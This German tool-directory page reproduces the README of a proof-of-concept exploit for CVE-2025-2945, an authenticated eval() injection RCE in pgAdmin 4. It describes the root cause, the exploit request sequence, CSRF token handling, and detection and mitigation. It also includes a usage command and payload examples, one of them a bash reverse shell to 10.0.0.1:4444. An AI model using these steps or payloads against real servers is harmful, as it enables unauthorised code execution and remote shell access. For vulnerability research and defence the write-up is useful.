Skip to content
KitploitKITPLOIT
ToolsBlog
Log in
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2025-2945-pgadmin-rce — Authentifizierte RCE in pgAdmin 4 (8.10–9.1) über eval()-Injection im Query Tool. Dies ist ein aktualisierter PoC mit Kompatibilitätskorrekturen für die Authentifizierungsänderungen von pgAdmin 9.x. | Kitploit
Tools/GitHubGitHub/plur1bu5/cve-2025-2945-pgadmin-rce
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & BildungRed Teaming
GitHubplur1bu5/cve-2025-2945-pgadmin-rce

CVE-2025-2945-pgadmin-rce

Authentifizierte RCE in pgAdmin 4 (8.10–9.1) über eval()-Injection im Query Tool. Dies ist ein aktualisierter PoC mit Kompatibilitätskorrekturen für die Authentifizierungsänderungen von pgAdmin 9.x.

Repository anzeigen
1vor 6 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2025-2945 — Authentifizierte RCE im pgAdmin 4 Query Tool

Proof of Concept für CVE-2025-2945, eine kritische Schwachstelle zur Remote-Codeausführung in pgAdmin 4.

Betroffene Versionen: 8.10 bis 9.1
Behoben in: 9.2 (veröffentlicht am 4. April 2025)
CVSS v3.1: 9.9 (Kritisch)


Übersicht

Das pgAdmin 4 Query Tool stellt einen Endpunkt bereit, der einen query_commited-Parameter akzeptiert und ihn ohne jegliche Bereinigung direkt an Pythons eingebautes eval() übergibt. Ein authentifizierter Angreifer kann über diesen Parameter beliebigen Python-Code übermitteln und ihn serverseitig unter dem pgAdmin-Dienstkonto ausführen lassen.

Der anfällige Endpunkt lautet:

POST /sqleditor/query_tool/download/<trans_id>

Das Feld query_commited im JSON-Body wird auf dem Server als Python-Code ausgewertet.


Technische Analyse

Grundursache

In pgAdmin-4-Versionen vor 9.2 ruft der Download-Handler des Query Tools eval() mit benutzergelieferter Eingabe auf:

# Simplified representation of the vulnerable code path
result = eval(data.get('query_commited'))

Es wird keine Eingabevalidierung, Sandboxing oder Allowlisting angewendet. Jeder gültige Python-Ausdruck wird mit den Berechtigungen des pgAdmin-Prozesses ausgeführt.

Exploit-Ablauf

  1. Authentifizieren — POST-Anfrage mit Anmeldedaten an /authenticate/login, um ein Session-Cookie und CSRF-Token zu erhalten
  2. sqleditor initialisieren — POST-Anfrage an /sqleditor/initialize/sqleditor/<trans_id>/<sgid>/<sid>/<did> mit Datenbankanmeldedaten, um eine Query-Tool-Sitzung aufzubauen
  3. Server-ID ermitteln — GET-Anfrage an /sqleditor/get_server_connection/<sgid>/<sid>, wobei IDs durchlaufen werden, bis eine data.status == true zurückgibt
  4. eval auslösen — POST-Anfrage an /sqleditor/query_tool/download/<trans_id> mit {"query_commited": "<python payload>"}; eine 500-Antwort bestätigt die Ausführung

CSRF-Token-Behandlung (pgAdmin 9.x)

Ältere pgAdmin-Versionen betteten das CSRF-Token in ein verstecktes <input>-Feld oder ein Cookie ein. Version 9.x wechselte zu einer React-SPA-Architektur, in der das Token als JSON innerhalb eines window.renderSecurityPage()-Aufrufs auf der Seite /login eingebettet ist:

"csrfToken": "<token value>"

Das Token ist an die Sitzung gebunden (Flask-WTF / itsdangerous), sodass das beim initialen GET /login erhaltene Token für die gesamte Sitzung gültig bleibt und für alle weiteren API-Aufrufe wiederverwendet werden kann.

Änderung am Login-Endpunkt

pgAdmin 9.x hat die Login-Route aufgeteilt:

  • GET /login — rendert die Login-Seite (enthält das CSRF-Token)
  • POST /authenticate/login — verarbeitet Anmeldedaten

Ältere PoCs, die direkt per POST an /login senden, erhalten auf 9.x-Instanzen eine 404 oder 405.


Voraussetzungen

  • Python 3.7+
  • Gültige pgAdmin-Anmeldedaten (beliebiger authentifizierter Benutzer)
  • Gültige Datenbankanmeldedaten für einen in pgAdmin registrierten Server
pip install requests faker

Verwendung

python3 poc.py \
  --rhost <target_host> \
  --username <pgadmin_email> \
  --password <pgadmin_password> \
  --db-user <db_username> \
  --db-pass <db_password> \
  --db-name <database_name> \
  --payload "<python_expression>"

Argumente

ArgumentBeschreibung
--rhostZiel-Hostname oder IP (ohne Schema)
--rportZiel-Port (Standard: 80)
--usernamepgAdmin-Anmelde-E-Mail
--passwordpgAdmin-Anmeldekennwort
--db-userPostgreSQL-Benutzername
--db-passPostgreSQL-Kennwort
--db-nameDatenbankname
--payloadPython-Ausdruck, der auf dem Server ausgewertet werden soll
--max-server-idMaximale Anzahl zu testender Server-IDs (Standard: 10)

Payload-Beispiele

Befehlsausführung:

--payload "__import__('os').system('id')"

Reverse Shell:

--payload "__import__('os').system('bash -c \"bash -i >& /dev/tcp/10.0.0.1/4444 0>&1\"')"

Erkennung

  • Unerwartete HTTP-500-Antworten von /sqleditor/query_tool/download/
  • Der pgAdmin-Prozess erzeugt Kindprozesse (Shells, curl, wget)
  • Ausgehende Verbindungen vom pgAdmin-Host zu unbekannten IPs

Gegenmaßnahmen

Aktualisieren Sie auf pgAdmin 4 Version 9.2 oder höher.


Referenzen

  • https://nvd.nist.gov/vuln/detail/CVE-2025-2945
  • https://www.tenable.com/security/research/tra-2025-2945
  • https://github.com/rapid7/metasploit-framework/tree/master/modules/exploits/multi/http/pgadmin_query_tool_rce

Haftungsausschluss

Dieses Repository dient ausschließlich Bildungs- und autorisierten Testzwecken. Verwenden Sie es nicht gegen Systeme, die Sie nicht besitzen oder für die Sie keine ausdrückliche Testgenehmigung haben.

Tool herunterladen